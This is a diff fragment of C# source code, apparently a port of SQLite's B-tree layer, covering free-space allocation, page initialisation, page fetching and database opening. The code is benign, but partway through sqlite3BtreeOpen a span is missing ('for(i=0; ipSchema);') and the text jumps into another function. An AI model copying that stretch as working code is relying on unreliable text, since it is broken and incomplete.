Debug.Assert( pPage.nFree >= nByte ); + Debug.Assert( pPage.nOverflow == 0 ); + usableSize = pPage.pBt.usableSize; + Debug.Assert( nByte < usableSize - 8 ); + + nFrag = data[hdr + 7]; + Debug.Assert( pPage.cellOffset == hdr + 12 - 4 * pPage.leaf ); + gap = pPage.cellOffset + 2 * pPage.nCell; + top = get2byteNotZero( data, hdr + 5 ); + if ( gap > top ) + return SQLITE_CORRUPT_BKPT(); + testcase( gap + 2 == top ); + testcase( gap + 1 == top ); + testcase( gap == top ); + + if ( nFrag >= 60 ) + { + /* Always defragment highly fragmented pages */ + rc = defragmentPage( pPage ); + if ( rc != 0 ) + return rc; + top = get2byteNotZero( data, hdr + 5 ); + } + else if ( gap + 2 <= top ) + { + /* Search the freelist looking for a free slot big enough to satisfy + ** the request. The allocation is made from the first free slot in + ** the list that is large enough to accomadate it. + */ + int pc, addr; + for ( addr = hdr + 1; ( pc = get2byte( data, addr ) ) > 0; addr = pc ) + { + int size; /* Size of free slot */ + if ( pc > usableSize - 4 || pc < addr + 4 ) + { + return SQLITE_CORRUPT_BKPT(); + } + size = get2byte( data, pc + 2 ); + if ( size >= nByte ) + { + int x = size - nByte; + testcase( x == 4 ); + testcase( x == 3 ); + if ( x < 4 ) + { + /* Remove the slot from the free-list. Update the number of + ** fragmented bytes within the page. */ + data[addr + 0] = data[pc + 0]; + data[addr + 1] = data[pc + 1]; //memcpy( data[addr], ref data[pc], 2 ); + data[hdr + 7] = (u8)( nFrag + x ); + } + else if ( size + pc > usableSize ) + { + return SQLITE_CORRUPT_BKPT(); + } + else + { + /* The slot remains on the free-list. Reduce its size to account + ** for the portion used by the new allocation. */ + put2byte( data, pc + 2, x ); + } + pIdx = pc + x; + return SQLITE_OK; + } + } + } + + /* Check to make sure there is enough space in the gap to satisfy + ** the allocation. If not, defragment. + */ + testcase( gap + 2 + nByte == top ); + if ( gap + 2 + nByte > top ) + { + rc = defragmentPage( pPage ); + if ( rc != 0 ) + return rc; + top = get2byteNotZero( data, hdr + 5 ); + Debug.Assert( gap + nByte <= top ); + } + + + /* Allocate memory from the gap in between the cell pointer array + ** and the cell content area. The btreeInitPage() call has already + ** validated the freelist. Given that the freelist is valid, there + ** is no way that the allocation can extend off the end of the page. + ** The Debug.Assert() below verifies the previous sentence. + */ + top -= nByte; + put2byte( data, hdr + 5, top ); + Debug.Assert( top + nByte <= (int)pPage.pBt.usableSize ); + pIdx = top; + return SQLITE_OK; +} + +/* +** Return a section of the pPage.aData to the freelist. +** The first byte of the new free block is pPage.aDisk[start] +** and the size of the block is "size" bytes. +** +** Most of the effort here is involved in coalesing adjacent +** free blocks into a single big free block. +*/ +static int freeSpace( MemPage pPage, u32 start, int size ) +{ + return freeSpace( pPage, (int)start, size ); +} +static int freeSpace( MemPage pPage, int start, int size ) +{ + int addr, pbegin, hdr; + int iLast; /* Largest possible freeblock offset */ + byte[] data = pPage.aData; + + Debug.Assert( pPage.pBt != null ); + Debug.Assert( sqlite3PagerIswriteable( pPage.pDbPage ) ); + Debug.Assert( start >= pPage.hdrOffset + 6 + pPage.childPtrSize ); + Debug.Assert( ( start + size ) <= (int)pPage.pBt.usableSize ); + Debug.Assert( sqlite3_mutex_held( pPage.pBt.mutex ) ); + Debug.Assert( size >= 0 ); /* Minimum cell size is 4 */ + + if ( pPage.pBt.secureDelete ) + { + /* Overwrite deleted information with zeros when the secure_delete + ** option is enabled */ + Array.Clear( data, start, size );// memset(&data[start], 0, size); + } + + /* Add the space back into the linked list of freeblocks. Note that + ** even though the freeblock list was checked by btreeInitPage(), + ** btreeInitPage() did not detect overlapping cells or + ** freeblocks that overlapped cells. Nor does it detect when the + ** cell content area exceeds the value in the page header. If these + ** situations arise, then subsequent insert operations might corrupt + ** the freelist. So we do need to check for corruption while scanning + ** the freelist. + */ + hdr = pPage.hdrOffset; + addr = hdr + 1; + iLast = (int)pPage.pBt.usableSize - 4; + Debug.Assert( start <= iLast ); + while ( ( pbegin = get2byte( data, addr ) ) < start && pbegin > 0 ) + { + if ( pbegin < addr + 4 ) + { + return SQLITE_CORRUPT_BKPT(); + } + addr = pbegin; + } + if ( pbegin > iLast ) + { + return SQLITE_CORRUPT_BKPT(); + } + Debug.Assert( pbegin > addr || pbegin == 0 ); + put2byte( data, addr, start ); + put2byte( data, start, pbegin ); + put2byte( data, start + 2, size ); + pPage.nFree = (u16)( pPage.nFree + size ); + + /* Coalesce adjacent free blocks */ + addr = hdr + 1; + while ( ( pbegin = get2byte( data, addr ) ) > 0 ) + { + int pnext, psize, x; + Debug.Assert( pbegin > addr ); + Debug.Assert( pbegin <= (int)pPage.pBt.usableSize - 4 ); + pnext = get2byte( data, pbegin ); + psize = get2byte( data, pbegin + 2 ); + if ( pbegin + psize + 3 >= pnext && pnext > 0 ) + { + int frag = pnext - ( pbegin + psize ); + if ( ( frag < 0 ) || ( frag > (int)data[hdr + 7] ) ) + { + return SQLITE_CORRUPT_BKPT(); + } + data[hdr + 7] -= (u8)frag; + x = get2byte( data, pnext ); + put2byte( data, pbegin, x ); + x = pnext + get2byte( data, pnext + 2 ) - pbegin; + put2byte( data, pbegin + 2, x ); + } + else + { + addr = pbegin; + } + } + + /* If the cell content area begins with a freeblock, remove it. */ + if ( data[hdr + 1] == data[hdr + 5] && data[hdr + 2] == data[hdr + 6] ) + { + int top; + pbegin = get2byte( data, hdr + 1 ); + put2byte( data, hdr + 1, get2byte( data, pbegin ) ); //memcpy( data[hdr + 1], ref data[pbegin], 2 ); + top = get2byte( data, hdr + 5 ) + get2byte( data, pbegin + 2 ); + put2byte( data, hdr + 5, top ); + } + Debug.Assert( sqlite3PagerIswriteable( pPage.pDbPage ) ); + return SQLITE_OK; +} + +/* +** Decode the flags byte (the first byte of the header) for a page +** and initialize fields of the MemPage structure accordingly. +** +** Only the following combinations are supported. Anything different +** indicates a corrupt database files: +** +** PTF_ZERODATA +** PTF_ZERODATA | PTF_LEAF +** PTF_LEAFDATA | PTF_INTKEY +** PTF_LEAFDATA | PTF_INTKEY | PTF_LEAF +*/ +static int decodeFlags( MemPage pPage, int flagByte ) +{ + BtShared pBt; /* A copy of pPage.pBt */ + + Debug.Assert( pPage.hdrOffset == ( pPage.pgno == 1 ? 100 : 0 ) ); + Debug.Assert( sqlite3_mutex_held( pPage.pBt.mutex ) ); + pPage.leaf = (u8)( flagByte >> 3 ); + Debug.Assert( PTF_LEAF == 1 << 3 ); + flagByte &= ~PTF_LEAF; + pPage.childPtrSize = (u8)( 4 - 4 * pPage.leaf ); + pBt = pPage.pBt; + if ( flagByte == ( PTF_LEAFDATA | PTF_INTKEY ) ) + { + pPage.intKey = 1; + pPage.hasData = pPage.leaf; + pPage.maxLocal = pBt.maxLeaf; + pPage.minLocal = pBt.minLeaf; + } + else if ( flagByte == PTF_ZERODATA ) + { + pPage.intKey = 0; + pPage.hasData = 0; + pPage.maxLocal = pBt.maxLocal; + pPage.minLocal = pBt.minLocal; + } + else + { + return SQLITE_CORRUPT_BKPT(); + } + return SQLITE_OK; +} + +/* +** Initialize the auxiliary information for a disk block. +** +** Return SQLITE_OK on success. If we see that the page does +** not contain a well-formed database page, then return +** SQLITE_CORRUPT. Note that a return of SQLITE_OK does not +** guarantee that the page is well-formed. It only shows that +** we failed to detect any corruption. +*/ +static int btreeInitPage( MemPage pPage ) +{ + + Debug.Assert( pPage.pBt != null ); + Debug.Assert( sqlite3_mutex_held( pPage.pBt.mutex ) ); + Debug.Assert( pPage.pgno == sqlite3PagerPagenumber( pPage.pDbPage ) ); + Debug.Assert( pPage == sqlite3PagerGetExtra( pPage.pDbPage ) ); + Debug.Assert( pPage.aData == sqlite3PagerGetData( pPage.pDbPage ) ); + + if ( 0 == pPage.isInit ) + { + u16 pc; /* Address of a freeblock within pPage.aData[] */ + u8 hdr; /* Offset to beginning of page header */ + u8[] data; /* Equal to pPage.aData */ + BtShared pBt; /* The main btree structure */ + int usableSize; /* Amount of usable space on each page */ + u16 cellOffset; /* Offset from start of page to first cell pointer */ + int nFree; /* Number of unused bytes on the page */ + int top; /* First byte of the cell content area */ + int iCellFirst; /* First allowable cell or freeblock offset */ + int iCellLast; /* Last possible cell or freeblock offset */ + + pBt = pPage.pBt; + + hdr = pPage.hdrOffset; + data = pPage.aData; + if ( decodeFlags( pPage, data[hdr] ) != 0 ) + return SQLITE_CORRUPT_BKPT(); + Debug.Assert( pBt.pageSize >= 512 && pBt.pageSize <= 65536 ); + pPage.maskPage = (u16)( pBt.pageSize - 1 ); + pPage.nOverflow = 0; + usableSize = (int)pBt.usableSize; + pPage.cellOffset = ( cellOffset = (u16)( hdr + 12 - 4 * pPage.leaf ) ); + top = get2byteNotZero( data, hdr + 5 ); + pPage.nCell = (u16)( get2byte( data, hdr + 3 ) ); + if ( pPage.nCell > MX_CELL( pBt ) ) + { + /* To many cells for a single page. The page must be corrupt */ + return SQLITE_CORRUPT_BKPT(); + } + testcase( pPage.nCell == MX_CELL( pBt ) ); + + /* A malformed database page might cause us to read past the end + ** of page when parsing a cell. + ** + ** The following block of code checks early to see if a cell extends + ** past the end of a page boundary and causes SQLITE_CORRUPT to be + ** returned if it does. + */ + iCellFirst = cellOffset + 2 * pPage.nCell; + iCellLast = usableSize - 4; +#if (SQLITE_ENABLE_OVERSIZE_CELL_CHECK) + { + int i; /* Index into the cell pointer array */ + int sz; /* Size of a cell */ + + if ( 0 == pPage.leaf ) + iCellLast--; + for ( i = 0; i < pPage.nCell; i++ ) + { + pc = (u16)get2byte( data, cellOffset + i * 2 ); + testcase( pc == iCellFirst ); + testcase( pc == iCellLast ); + if ( pc < iCellFirst || pc > iCellLast ) + { + return SQLITE_CORRUPT_BKPT(); + } + sz = cellSizePtr( pPage, data, pc ); + testcase( pc + sz == usableSize ); + if ( pc + sz > usableSize ) + { + return SQLITE_CORRUPT_BKPT(); + } + } + if ( 0 == pPage.leaf ) + iCellLast++; + } +#endif + + /* Compute the total free space on the page */ + pc = (u16)get2byte( data, hdr + 1 ); + nFree = (u16)( data[hdr + 7] + top ); + while ( pc > 0 ) + { + u16 next, size; + if ( pc < iCellFirst || pc > iCellLast ) + { + /* Start of free block is off the page */ + return SQLITE_CORRUPT_BKPT(); + } + next = (u16)get2byte( data, pc ); + size = (u16)get2byte( data, pc + 2 ); + if ( ( next > 0 && next <= pc + size + 3 ) || pc + size > usableSize ) + { + /* Free blocks must be in ascending order. And the last byte of + ** the free-block must lie on the database page. */ + return SQLITE_CORRUPT_BKPT(); + } + nFree = (u16)( nFree + size ); + pc = next; + } + + /* At this point, nFree contains the sum of the offset to the start + ** of the cell-content area plus the number of free bytes within + ** the cell-content area. If this is greater than the usable-size + ** of the page, then the page must be corrupted. This check also + ** serves to verify that the offset to the start of the cell-content + ** area, according to the page header, lies within the page. + */ + if ( nFree > usableSize ) + { + return SQLITE_CORRUPT_BKPT(); + } + pPage.nFree = (u16)( nFree - iCellFirst ); + pPage.isInit = 1; + } + return SQLITE_OK; +} + +/* +** Set up a raw page so that it looks like a database page holding +** no entries. +*/ +static void zeroPage( MemPage pPage, int flags ) +{ + byte[] data = pPage.aData; + BtShared pBt = pPage.pBt; + u8 hdr = pPage.hdrOffset; + u16 first; + + Debug.Assert( sqlite3PagerPagenumber( pPage.pDbPage ) == pPage.pgno ); + Debug.Assert( sqlite3PagerGetExtra( pPage.pDbPage ) == pPage ); + Debug.Assert( sqlite3PagerGetData( pPage.pDbPage ) == data ); + Debug.Assert( sqlite3PagerIswriteable( pPage.pDbPage ) ); + Debug.Assert( sqlite3_mutex_held( pBt.mutex ) ); + if ( pBt.secureDelete ) + { + Array.Clear( data, hdr, (int)( pBt.usableSize - hdr ) );//memset(&data[hdr], 0, pBt->usableSize - hdr); + } + + data[hdr] = (u8)flags; + first = (u16)( hdr + 8 + 4 * ( ( flags & PTF_LEAF ) == 0 ? 1 : 0 ) ); + Array.Clear( data, hdr + 1, 4 );//memset(data[hdr+1], 0, 4); + data[hdr + 7] = 0; + put2byte( data, hdr + 5, pBt.usableSize ); + pPage.nFree = (u16)( pBt.usableSize - first ); + decodeFlags( pPage, flags ); + pPage.hdrOffset = hdr; + pPage.cellOffset = first; + pPage.nOverflow = 0; + Debug.Assert( pBt.pageSize >= 512 && pBt.pageSize <= 65536 ); + pPage.maskPage = (u16)( pBt.pageSize - 1 ); + pPage.nCell = 0; + pPage.isInit = 1; +} + + +/* +** Convert a DbPage obtained from the pager into a MemPage used by +** the btree layer. +*/ +static MemPage btreePageFromDbPage( DbPage pDbPage, Pgno pgno, BtShared pBt ) +{ + MemPage pPage = (MemPage)sqlite3PagerGetExtra( pDbPage ); + pPage.aData = sqlite3PagerGetData( pDbPage ); + pPage.pDbPage = pDbPage; + pPage.pBt = pBt; + pPage.pgno = pgno; + pPage.hdrOffset = (u8)( pPage.pgno == 1 ? 100 : 0 ); + return pPage; +} + +/* +** Get a page from the pager. Initialize the MemPage.pBt and +** MemPage.aData elements if needed. +** +** If the noContent flag is set, it means that we do not care about +** the content of the page at this time. So do not go to the disk +** to fetch the content. Just fill in the content with zeros for now. +** If in the future we call sqlite3PagerWrite() on this page, that +** means we have started to be concerned about content and the disk +** read should occur at that point. +*/ +static int btreeGetPage( +BtShared pBt, /* The btree */ +Pgno pgno, /* Number of the page to fetch */ +ref MemPage ppPage, /* Return the page in this parameter */ +int noContent /* Do not load page content if true */ +) +{ + int rc; + DbPage pDbPage = null; + + Debug.Assert( sqlite3_mutex_held( pBt.mutex ) ); + rc = sqlite3PagerAcquire( pBt.pPager, pgno, ref pDbPage, (u8)noContent ); + if ( rc != 0 ) + return rc; + ppPage = btreePageFromDbPage( pDbPage, pgno, pBt ); + return SQLITE_OK; +} + +/* +** Retrieve a page from the pager cache. If the requested page is not +** already in the pager cache return NULL. Initialize the MemPage.pBt and +** MemPage.aData elements if needed. +*/ +static MemPage btreePageLookup( BtShared pBt, Pgno pgno ) +{ + DbPage pDbPage; + Debug.Assert( sqlite3_mutex_held( pBt.mutex ) ); + pDbPage = sqlite3PagerLookup( pBt.pPager, pgno ); + if ( pDbPage ) + { + return btreePageFromDbPage( pDbPage, pgno, pBt ); + } + return null; +} + +/* +** Return the size of the database file in pages. If there is any kind of +** error, return ((unsigned int)-1). +*/ +static Pgno btreePagecount( BtShared pBt ) +{ + return pBt.nPage; +} +static Pgno sqlite3BtreeLastPage( Btree p ) +{ + Debug.Assert( sqlite3BtreeHoldsMutex( p ) ); + Debug.Assert( ( ( p.pBt.nPage ) & 0x8000000 ) == 0 ); + return (Pgno)btreePagecount( p.pBt ); +} + + + +/* +** Get a page from the pager and initialize it. This routine is just a +** convenience wrapper around separate calls to btreeGetPage() and +** btreeInitPage(). +** +** If an error occurs, then the value ppPage is set to is undefined. It +** may remain unchanged, or it may be set to an invalid value. +*/ +static int getAndInitPage( +BtShared pBt, /* The database file */ +Pgno pgno, /* Number of the page to get */ +ref MemPage ppPage /* Write the page pointer here */ +) +{ + int rc; + Debug.Assert( sqlite3_mutex_held( pBt.mutex ) ); + + if ( pgno > btreePagecount( pBt ) ) + { + rc = SQLITE_CORRUPT_BKPT(); + } + else + { + rc = btreeGetPage( pBt, pgno, ref ppPage, 0 ); + if ( rc == SQLITE_OK ) + { + rc = btreeInitPage( ppPage ); + if ( rc != SQLITE_OK ) + { + releasePage( ppPage ); + } + } + } + + testcase( pgno == 0 ); + Debug.Assert( pgno != 0 || rc == SQLITE_CORRUPT ); + + return rc; +} + +/* +** Release a MemPage. This should be called once for each prior +** call to btreeGetPage. +*/ +static void releasePage( MemPage pPage ) +{ + if ( pPage != null ) + { + Debug.Assert( pPage.aData != null ); + Debug.Assert( pPage.pBt != null ); + //TODO -- find out why corrupt9 & diskfull fail on this tests + //Debug.Assert( sqlite3PagerGetExtra( pPage.pDbPage ) == pPage ); + //Debug.Assert( sqlite3PagerGetData( pPage.pDbPage ) == pPage.aData ); + Debug.Assert( sqlite3_mutex_held( pPage.pBt.mutex ) ); + sqlite3PagerUnref( pPage.pDbPage ); + } +} + +/* +** During a rollback, when the pager reloads information into the cache +** so that the cache is restored to its original state at the start of +** the transaction, for each page restored this routine is called. +** +** This routine needs to reset the extra data section at the end of the +** page to agree with the restored data. +*/ +static void pageReinit( DbPage pData ) +{ + MemPage pPage; + pPage = sqlite3PagerGetExtra( pData ); + Debug.Assert( sqlite3PagerPageRefcount( pData ) > 0 ); + if ( pPage.isInit != 0 ) + { + Debug.Assert( sqlite3_mutex_held( pPage.pBt.mutex ) ); + pPage.isInit = 0; + if ( sqlite3PagerPageRefcount( pData ) > 1 ) + { + /* pPage might not be a btree page; it might be an overflow page + ** or ptrmap page or a free page. In those cases, the following + ** call to btreeInitPage() will likely return SQLITE_CORRUPT. + ** But no harm is done by this. And it is very important that + ** btreeInitPage() be called on every btree page so we make + ** the call for every page that comes in for re-initing. */ + btreeInitPage( pPage ); + } + } +} + +/* +** Invoke the busy handler for a btree. +*/ +static int btreeInvokeBusyHandler( object pArg ) +{ + BtShared pBt = (BtShared)pArg; + Debug.Assert( pBt.db != null ); + Debug.Assert( sqlite3_mutex_held( pBt.db.mutex ) ); + return sqlite3InvokeBusyHandler( pBt.db.busyHandler ); +} + +/* +** Open a database file. +** +** zFilename is the name of the database file. If zFilename is NULL +** then an ephemeral database is created. The ephemeral database might +** be exclusively in memory, or it might use a disk-based memory cache. +** Either way, the ephemeral database will be automatically deleted +** when sqlite3BtreeClose() is called. +** +** If zFilename is ":memory:" then an in-memory database is created +** that is automatically destroyed when it is closed. +** +** The "flags" parameter is a bitmask that might contain bits +** BTREE_OMIT_JOURNAL and/or BTREE_NO_READLOCK. The BTREE_NO_READLOCK +** bit is also set if the SQLITE_NoReadlock flags is set in db->flags. +** These flags are passed through into sqlite3PagerOpen() and must +** be the same values as PAGER_OMIT_JOURNAL and PAGER_NO_READLOCK. +** +** If the database is already opened in the same database connection +** and we are in shared cache mode, then the open will fail with an +** SQLITE_CONSTRAINT error. We cannot allow two or more BtShared +** objects in the same database connection since doing so will lead +** to problems with locking. +*/ +static int sqlite3BtreeOpen( +sqlite3_vfs pVfs, /* VFS to use for this b-tree */ +string zFilename, /* Name of the file containing the BTree database */ +sqlite3 db, /* Associated database handle */ +ref Btree ppBtree, /* Pointer to new Btree object written here */ +int flags, /* Options */ +int vfsFlags /* Flags passed through to sqlite3_vfs.xOpen() */ +) +{ + BtShared pBt = null; /* Shared part of btree structure */ + Btree p; /* Handle to return */ + sqlite3_mutex mutexOpen = null; /* Prevents a race condition. Ticket #3537 */ + int rc = SQLITE_OK; /* Result code from this function */ + u8 nReserve; /* Byte of unused space on each page */ + byte[] zDbHeader = new byte[100]; /* Database header content */ + + /* True if opening an ephemeral, temporary database */ + bool isTempDb = String.IsNullOrEmpty( zFilename );//zFilename==0 || zFilename[0]==0; + + /* Set the variable isMemdb to true for an in-memory database, or + ** false for a file-based database. + */ +#if SQLITE_OMIT_MEMORYDB +bool isMemdb = false; +#else + bool isMemdb = ( zFilename == ":memory:" ) + || ( isTempDb && sqlite3TempInMemory( db ) ); + +#endif + + Debug.Assert( db != null ); + Debug.Assert( pVfs != null ); + Debug.Assert( sqlite3_mutex_held( db.mutex ) ); + Debug.Assert( ( flags & 0xff ) == flags ); /* flags fit in 8 bits */ + + /* Only a BTREE_SINGLE database can be BTREE_UNORDERED */ + Debug.Assert( ( flags & BTREE_UNORDERED ) == 0 || ( flags & BTREE_SINGLE ) != 0 ); + + /* A BTREE_SINGLE database is always a temporary and/or ephemeral */ + Debug.Assert( ( flags & BTREE_SINGLE ) == 0 || isTempDb ); + + if ( ( db.flags & SQLITE_NoReadlock ) != 0 ) + { + flags |= BTREE_NO_READLOCK; + } + if ( isMemdb ) + { + flags |= BTREE_MEMORY; + } + if ( ( vfsFlags & SQLITE_OPEN_MAIN_DB ) != 0 && ( isMemdb || isTempDb ) ) + { + vfsFlags = ( vfsFlags & ~SQLITE_OPEN_MAIN_DB ) | SQLITE_OPEN_TEMP_DB; + } + + p = new Btree();//sqlite3MallocZero(sizeof(Btree)); + //if( !p ){ + // return SQLITE_NOMEM; + //} + p.inTrans = TRANS_NONE; + p.db = db; +#if NO_SQLITE_OMIT_SHARED_CACHE //#if !SQLITE_OMIT_SHARED_CACHE +p.lock.pBtree = p; +p.lock.iTable = 1; +#endif + +//#if !(SQLITE_OMIT_SHARED_CACHE) && !(SQLITE_OMIT_DISKIO) +#if NO_SQLITE_OMIT_SHARED_CACHE && !(SQLITE_OMIT_DISKIO) +/* +** If this Btree is a candidate for shared cache, try to find an +** existing BtShared object that we can share with +*/ +if( !isMemdb && !isTempDb ){ +if( vfsFlags & SQLITE_OPEN_SHAREDCACHE ){ +int nFullPathname = pVfs.mxPathname+1; +string zFullPathname = sqlite3Malloc(nFullPathname); +sqlite3_mutex *mutexShared; +p.sharable = 1; +if( !zFullPathname ){ +p = null;//sqlite3_free(ref p); +return SQLITE_NOMEM; +} +sqlite3OsFullPathname(pVfs, zFilename, nFullPathname, zFullPathname); +mutexOpen = sqlite3MutexAlloc(SQLITE_MUTEX_STATIC_OPEN); +sqlite3_mutex_enter(mutexOpen); +mutexShared = sqlite3MutexAlloc(SQLITE_MUTEX_STATIC_MASTER); +sqlite3_mutex_enter(mutexShared); +for(pBt=GLOBAL(BtShared*,sqlite3SharedCacheList); pBt; pBt=pBt.pNext){ +Debug.Assert( pBt.nRef>0 ); +if( 0==strcmp(zFullPathname, sqlite3PagerFilename(pBt.pPager)) +&& sqlite3PagerVfs(pBt.pPager)==pVfs ){ +int iDb; +for(iDb=db.nDb-1; iDb>=0; iDb--){ +Btree pExisting = db.aDb[iDb].pBt; +if( pExisting && pExisting.pBt==pBt ){ +sqlite3_mutex_leave(mutexShared); +sqlite3_mutex_leave(mutexOpen); +zFullPathname = null;//sqlite3_free(ref zFullPathname); +p=null;//sqlite3_free(ref p); +return SQLITE_CONSTRAINT; +} +} +p.pBt = pBt; +pBt.nRef++; +break; +} +} +sqlite3_mutex_leave(mutexShared); +zFullPathname=null;//sqlite3_free(ref zFullPathname); +} +#if SQLITE_DEBUG +else{ +/* In debug mode, we mark all persistent databases as sharable +** even when they are not. This exercises the locking code and +** gives more opportunity for asserts(sqlite3_mutex_held()) +** statements to find locking problems. +*/ +p.sharable = 1; +} +#endif +} +#endif + if ( pBt == null ) + { + /* + ** The following asserts make sure that structures used by the btree are + ** the right size. This is to guard against size changes that result + ** when compiling on a different architecture. + */ + Debug.Assert( sizeof( i64 ) == 8 || sizeof( i64 ) == 4 ); + Debug.Assert( sizeof( u64 ) == 8 || sizeof( u64 ) == 4 ); + Debug.Assert( sizeof( u32 ) == 4 ); + Debug.Assert( sizeof( u16 ) == 2 ); + Debug.Assert( sizeof( Pgno ) == 4 ); + + pBt = new BtShared();//sqlite3MallocZero( sizeof(pBt) ); + //if( pBt==null ){ + // rc = SQLITE_NOMEM; + // goto btree_open_out; + //} + rc = sqlite3PagerOpen( pVfs, out pBt.pPager, zFilename, + EXTRA_SIZE, flags, vfsFlags, pageReinit ); + if ( rc == SQLITE_OK ) + { + rc = sqlite3PagerReadFileheader( pBt.pPager, zDbHeader.Length, zDbHeader ); + } + if ( rc != SQLITE_OK ) + { + goto btree_open_out; + } + pBt.openFlags = (u8)flags; + pBt.db = db; + sqlite3PagerSetBusyhandler( pBt.pPager, btreeInvokeBusyHandler, pBt ); + p.pBt = pBt; + + pBt.pCursor = null; + pBt.pPage1 = null; + pBt.readOnly = sqlite3PagerIsreadonly( pBt.pPager ); +#if SQLITE_SECURE_DELETE +pBt.secureDelete = true; +#endif + pBt.pageSize = (u32)( ( zDbHeader[16] << 8 ) | ( zDbHeader[17] << 16 ) ); + if ( pBt.pageSize < 512 || pBt.pageSize > SQLITE_MAX_PAGE_SIZE + || ( ( pBt.pageSize - 1 ) & pBt.pageSize ) != 0 ) + { + pBt.pageSize = 0; +#if !SQLITE_OMIT_AUTOVACUUM + /* If the magic name ":memory:" will create an in-memory database, then +** leave the autoVacuum mode at 0 (do not auto-vacuum), even if +** SQLITE_DEFAULT_AUTOVACUUM is true. On the other hand, if +** SQLITE_OMIT_MEMORYDB has been defined, then ":memory:" is just a +** regular file-name. In this case the auto-vacuum applies as per normal. +*/ + if ( zFilename != "" && !isMemdb ) + { + pBt.autoVacuum = ( SQLITE_DEFAULT_AUTOVACUUM != 0 ); + pBt.incrVacuum = ( SQLITE_DEFAULT_AUTOVACUUM == 2 ); + } +#endif + nReserve = 0; + } + else + { + nReserve = zDbHeader[20]; + pBt.pageSizeFixed = true; +#if !SQLITE_OMIT_AUTOVACUUM + pBt.autoVacuum = sqlite3Get4byte( zDbHeader, 36 + 4 * 4 ) != 0; + pBt.incrVacuum = sqlite3Get4byte( zDbHeader, 36 + 7 * 4 ) != 0; +#endif + } + rc = sqlite3PagerSetPagesize( pBt.pPager, ref pBt.pageSize, nReserve ); + if ( rc != 0 ) + goto btree_open_out; + pBt.usableSize = (u16)( pBt.pageSize - nReserve ); + Debug.Assert( ( pBt.pageSize & 7 ) == 0 ); /* 8-byte alignment of pageSize */ + +//#if !(SQLITE_OMIT_SHARED_CACHE) && !(SQLITE_OMIT_DISKIO) +#if NO_SQLITE_OMIT_SHARED_CACHE && !(SQLITE_OMIT_DISKIO) +/* Add the new BtShared object to the linked list sharable BtShareds. +*/ +if( p.sharable ){ +sqlite3_mutex *mutexShared; +pBt.nRef = 1; +mutexShared = sqlite3MutexAlloc(SQLITE_MUTEX_STATIC_MASTER); +if( SQLITE_THREADSAFE && sqlite3GlobalConfig.bCoreMutex ){ +pBt.mutex = sqlite3MutexAlloc(SQLITE_MUTEX_FAST); +if( pBt.mutex==null ){ +rc = SQLITE_NOMEM; +db.mallocFailed = 0; +goto btree_open_out; +} +} +sqlite3_mutex_enter(mutexShared); +pBt.pNext = GLOBAL(BtShared*,sqlite3SharedCacheList); +GLOBAL(BtShared*,sqlite3SharedCacheList) = pBt; +sqlite3_mutex_leave(mutexShared); +} +#endif + } + +//#if !(SQLITE_OMIT_SHARED_CACHE) && !(SQLITE_OMIT_DISKIO) +#if NO_SQLITE_OMIT_SHARED_CACHE && !(SQLITE_OMIT_DISKIO) +/* If the new Btree uses a sharable pBtShared, then link the new +** Btree into the list of all sharable Btrees for the same connection. +** The list is kept in ascending order by pBt address. +*/ +if( p.sharable ){ +int i; +Btree pSib; +for(i=0; ipSchema); + //freeTempSpace(pBt); + pBt = null; //sqlite3_free(ref pBt); + } + +#if NO_SQLITE_OMIT_SHARED_CACHE //#if !SQLITE_OMIT_SHARED_CACHE +Debug.Assert( p.wantToLock==null ); +Debug.Assert( p.locked==null ); +if( p.pPrev ) p.pPrev.pNext = p.pNext; +if( p.pNext ) p.pNext.pPrev = p.pPrev; +#endif + + //sqlite3_free(ref p); + return SQLITE_OK; +} + +/* +** Change the limit on the number of pages allowed in the cache. +** +** The maximum number of cache pages is set to the absolute +** value of mxPage. If mxPage is negative, the pager will +** operate asynchronously - it will not stop to do fsync()s +** to insure data is written to the disk surface before +** continuing. Transactions still work if synchronous is off, +** and the database cannot be corrupted if this program +** crashes. But if the operating system crashes or there is +** an abrupt power failure when synchronous is off, the database +** could be left in an inconsistent and unrecoverable state. +** Synchronous is on by default so database corruption is not +** normally a worry. +*/ +static int sqlite3BtreeSetCacheSize( Btree p, int mxPage ) +{ + BtShared pBt = p.pBt; + Debug.Assert( sqlite3_mutex_held( p.db.mutex ) ); + sqlite3BtreeEnter( p ); + sqlite3PagerSetCachesize( pBt.pPager, mxPage ); + sqlite3BtreeLeave( p ); + return SQLITE_OK; +} + +/* +** Change the way data is synced to disk in order to increase or decrease +** how well the database resists damage due to OS crashes and power +** failures. Level 1 is the same as asynchronous (no syncs() occur and +** there is a high probability of damage) Level 2 is the default. There +** is a very low but non-zero probability of damage. Level 3 reduces the +** probability of damage to near zero but with a write performance reduction. +*/ +#if !SQLITE_OMIT_PAGER_PRAGMAS +static int sqlite3BtreeSetSafetyLevel( +Btree p, /* The btree to set the safety level on */ +int level, /* PRAGMA synchronous. 1=OFF, 2=NORMAL, 3=FULL */ +int fullSync, /* PRAGMA fullfsync. */ +int ckptFullSync /* PRAGMA checkpoint_fullfync */ +) +{ + BtShared pBt = p.pBt; + Debug.Assert( sqlite3_mutex_held( p.db.mutex ) ); + Debug.Assert( level >= 1 && level <= 3 ); + sqlite3BtreeEnter( p ); + sqlite3PagerSetSafetyLevel( pBt.pPager, level, fullSync, ckptFullSync ); + sqlite3BtreeLeave( p ); + return SQLITE_OK; +} +#endif + +/* +** Return TRUE if the given btree is set to safety level 1. In other +** words, return TRUE if no sync() occurs on the disk files. +*/ +static int sqlite3BtreeSyncDisabled( Btree p ) +{ + BtShared pBt = p.pBt; + int rc; + Debug.Assert( sqlite3_mutex_held( p.db.mutex ) ); + sqlite3BtreeEnter( p ); + Debug.Assert( pBt != null && pBt.pPager != null ); + rc = sqlite3PagerNosync( pBt.pPager ) ? 1 : 0; + sqlite3BtreeLeave( p ); + return rc; +} + +/* +** Change the default pages size and the number of reserved bytes per page. +** Or, if the page size has already been fixed, return SQLITE_READONLY +** without changing anything. +** +** The page size must be a power of 2 between 512 and 65536. If the page +** size supplied does not meet this constraint then the page size is not +** changed. +** +** Page sizes are constrained to be a power of two so that the region +** of the database file used for locking (beginning at PENDING_BYTE, +** the first byte past the 1GB boundary, 0x40000000) needs to occur +** at the beginning of a page. +** +** If parameter nReserve is less than zero, then the number of reserved +** bytes per page is left unchanged. +** +** If iFix!=0 then the pageSizeFixed flag is set so that the page size +** and autovacuum mode can no longer be changed. +*/ +static int sqlite3BtreeSetPageSize( Btree p, int pageSize, int nReserve, int iFix ) +{ + int rc = SQLITE_OK; + BtShared pBt = p.pBt; + Debug.Assert( nReserve >= -1 && nReserve 